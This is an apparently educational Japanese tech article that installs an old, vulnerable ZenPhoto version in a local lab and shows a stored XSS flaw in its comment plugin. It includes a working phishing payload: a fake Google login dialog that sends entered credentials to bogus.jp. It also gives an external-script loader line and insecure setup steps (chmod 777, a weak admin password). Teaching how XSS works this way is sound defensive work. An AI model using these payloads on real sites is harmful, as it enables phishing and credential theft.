古い「ZenPhoto」でXSS脆弱性のリスクを確認:試してみなけりゃ分からない? 古いWebアプリの脆弱性(1)(2/2 ページ)
この記事では、過去に脆弱性が見つかったWebアプリをインストールして実際に攻撃することで、攻撃者や被害者を疑似体験してみる。その危険性を実感した上で、バージョンアップなどの対策につなげてほしい。
脆弱性のあるZenPhotoのインストール
環境設定が終わったら、いよいよここからが本番だ。脆弱性のあるWebアプリケーションをインストールすることにしよう。
初回となる今回取り上げるのは、筆者がXSS脆弱性を発見したZenPhotoという写真ギャラリーアプリケーションだ。このアプリ、コメントモジュールに大きな穴が開いていた。もちろん現在は修正済みなので実際に使用する時には最新バージョンを使用していただきたい。
まずはサイトから脆弱性のあるバージョン(1.4.2.4)をダウンロードする。
【ダウンロード元】
ZenPhoto1.4.2.4
http://code.google.com/p/zenphoto/downloads/detail?name=zenphoto-1.4.2.4.tar.gz
をダウンロードして展開する。
XAMMPのドキュメントルートは /opt/lampp/htdocs なので
$ sudo tar xzvf zenphoto-1.4.2.4.tar.gz -C /opt/lampp/htdocs/
とコマンドを実行するとよい。
これで、Ubuntu上でWebブラウザを開き、
http://localhost/zenphoto/
にアクセスすると、インストールが始まるのだが、その前にwarningが出ている。基本的には設定ファイルがないこととパーミッションの問題だ。
まず、configファイルがないと言われるのでコンフィグファイルをコピーする。
$ sudo mkdir zp-data /opt/lampp/htdocs/zenphoto$ cp ./zp-core/zenphoto.cfg ./zp-data/
パーミッションを以下のように設定する。
$ sudo chmod -R 755 zenphoto/ $ sudo chmod -R 777 zenphoto/albums/ $ sudo chmod -R 777 zenphoto/zp-data/ $ sudo chmod -R 777 zenphoto/cache/ $ sudo chmod -R 777 zenphoto/cache_html/ $ sudo chmod -R 777 zenphoto/uploaded/ $ sudo chmod -R 777 zenphoto/plugins/ $ sudo chmod -R 777 zenphoto/zp-core/setup/
データベースの作成
データベースを設定する必要があるが、その前にZenPhoto用ユーザーと専用DBを作成する。
すでに設定されているrootユーザーで作成してもよいが、この後別のWebアプリをインストールする際にデータベース名が重なったりすると面倒だ。アプリごとに違うユーザーを作成して、すべての特権を持つ同名のデータベースを使えるようにするのがいいだろう。
phpMyAdminにログインして、「ユーザ」メニューをクリック、「ユーザを追加する」をクリック、ユーザ名、zenphoto、ホストlocalhost、パスワードは任意、「同名のデータベースを作成してすべての特権を与える」を選び、「ユーザを追加する」のリンクをクリックするとzenphoto用ユーザーとデータベースが作成される。
DBを作成したあとは、文字化けなど不具合の元になるので左のメニューから「zenphoto」DBを選び、照合順序を「utf8_unicode_ci」に変更しておく。
リフレッシュを行うと.htaccessファイルやrobots.txtファイルがないなど、まだいくつかの警告が出ているが、本稿の実験には差し障りないので無視することにして、「実行」ボタンをクリックする。
するとすぐにインストールは終了する。
「セットアップファイルを削除」ボタンをクリックしてセットアップファイルを削除し、管理者ユーザー(admin)の設定を行う。パスワードは6文字以上で記号を含む必要がある。password@でいいだろう。
設定が終わるとログイン画面が表示されるので先ほど作成したユーザーでログインする。ログイン画面が表示されない場合は
http://localhost/zenphoto/zp-core/admin.php
にアクセスしよう。
脆弱なプラグインの有効化
今回使用する脆弱性はZenPhoto本体ではなく、デフォルトでは有効になっていないプラグインである。そのため、脆弱性を突くには、まずそのプラグインを有効にする必要がある。今回使用する脆弱なプラグインは「comment_form」というもので、写真に対し別のユーザーがコメントを入れられる機能だ。
メニューの右端にある「プラグイン」タブをクリックし、comment_form v1.4.2にチェックを入れて「適用」をクリックし、この機能を有効にする。
他のCMSでもプラグインに脆弱性があるということはよくあることだ。あまり使われていないような機能はあまりテストされていない可能性がままあるので、導入は慎重に行いたい。
写真のアップロード
コメントを書いてもらうためには、何か写真をアップロードする必要がある。そこで「アップロード」タブをクリックして好きな写真を1枚アップロードする。デフォルトでコメントを許可するとなっているので、そのままにしておくこと。「閲覧」ボタンをクリックするとアップした写真が表示され、その下にコメント欄も表示されているはずだ。
XSS脆弱性を試してみる
ここまで来ていよいよ脆弱性を確認することができる。別のPCのブラウザから、ZenPhotoのURLに対してアクセスしてみよう。
http://サーバのIPアドレス/zenphoto/
にアクセスすると、トップページと写真のサムネイルが表示されているはずだ。
写真のサムネイルをクリックすると、大きな写真とコメント欄が現れる。そしてこのコメント欄に脆弱性がある。全くエスケープされていない。なんのタグもスクリプトも埋め放題なのだ。
脆弱性を確認するには、とりあえず本文に
"><script>alert(document.domain)</script>
と入力して書き込んでみよう。
書き込みを行う。エラーが出るが、メール送信できなかったというエラーなので気にしないでいただきたい。気になる人は「オプション」タブの「コメント」から「コメント通知の有効化」チェックを外しておこう。
リロードするとサーバのあるドメインがポップアップされることが分かるだろう。これで持続型のXSS脆弱性があることが分かる。
このコメントは他のユーザーが閲覧したときにも見られるようになっているので、誰が見たときでも、ここで埋め込まれたスクリプトが実行される。インターネットに公開されていると考えると、不特定多数の閲覧した人すべてのブラウザでスクリプトが実行される。リンクを踏んだ人しか影響を受けない反射型のXSSと比べると、こちらの方がいくぶんやっかいだ。
とりあえずZenPhotoの管理画面の「コメント」タブにアクセスして、書き込みは削除しておこう。
実際の攻撃
とはいえこんなダイアログが表示されるだけなら、特に被害が起こることもない。「自分のCookieがアラートされてもちっとも怖くない、こんなの脆弱性じゃない」という人もいらっしゃることだろう。
ということで、ここではフィッシングに使われるようなパスワード入力画面が表示されるようにしてみることにする。
このコメント欄は改行が<br />に変更される以外、何も行われないことが分かったので、コメント欄に以下のようなタグとスクリプトを入力する。ところどころで処理がいい加減なのはご容赦いただきたい。見やすさを考慮して改行してあるが、スクリプトの改行はすべて削除してから貼り付ける必要がある。
<link href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/themes/base/jquery-ui.css" rel="stylesheet" type="text/css" /> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script> <script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js" type="text/javascript"></script> <script type="text/javascript"> $(function() { if(document.cookie.match(/dialog/i)){ $('#dialog').hide(); }else{ $('#dialog').dialog({ width: 550, modal: true, buttons: { 'キャンセル': function() { jQuery( this ) . dialog( 'close' ); }, 'ログイン': function() { $.get("http://bogus.jp/?"+$("#user").val()+$("#pass").val(),null, function(data) { document.cookie="dialog=1"; }); $(this).dialog('close'); }, } }); } }); </script> <div id="dialog" title="google ログイン"> <form id="bogusgoogle" method="get" action="http://bogus.jp/?"> <fieldset> <p>ユーザー名とパスワードを入力してログインボタンを押してください。</p> <label>ユーザー名</label> <input type="text" name="user" id="user"> </p> <p> <label>パスワード</label> <input type="password" name="pass" id="pass"> </p> </fieldset> </form> </div>
と入力し、「コメント追加」ボタンをクリックすると、コメントが書き込まれているだろう。
これでエントリを読者が見たときに、ユーザー名とパスワードを入力するモーダルダイアログが開く。ユーザー名とパスワードを入力し「ログイン」ボタンをクリックすると、入力したユーザー名とパスワードを攻撃者のサーバに送信し、その後通常の画面が開く。いったん送信すると2回目からは開かないので怪しまれることもないだろう。
もし長いコードを入力するのが面倒だという人は、
<script type='text/javascript' src='http://example.jp/dialog'></script>
のように外部サイトに好きなスクリプトを置いて、それを呼び出すようにすることも可能だ。
なお、ここで紹介した例ではaction="http://bogus.jp/?"に書かれたURLにアクセスが行われ、入力した情報が送信される。ご自身のサイトのURLに変更しておいていただきたい。
次に、被害者として、別のブラウザから同じURLにアクセスしてみる。するとユーザー名とパスワードの入力を促されるのが分かるだろう。「キャンセル」ボタンをクリックすれば何事もないのだが、なぜかどこかのユーザー名とパスワードを入力する人がいて、その人たちが被害に遭うということになる。
本稿ではほぼデフォルトだが、実際に攻撃が行われる際はもう少し怪しまれにくいデザインになっているはずだ。
終わりに
このように、単純に何でもタグが書き込める脆弱性がある掲示板の場合、フィッシング詐欺に使われそうな画面が簡単に生成され得ることが分かっただろう。ユーザーを守るという観点からも、XSSだからといって軽く見ることなく、脆弱性のあるサービスはなるべく使わないようにしていただければと思う。
Copyright © ITmedia, Inc. All Rights Reserved.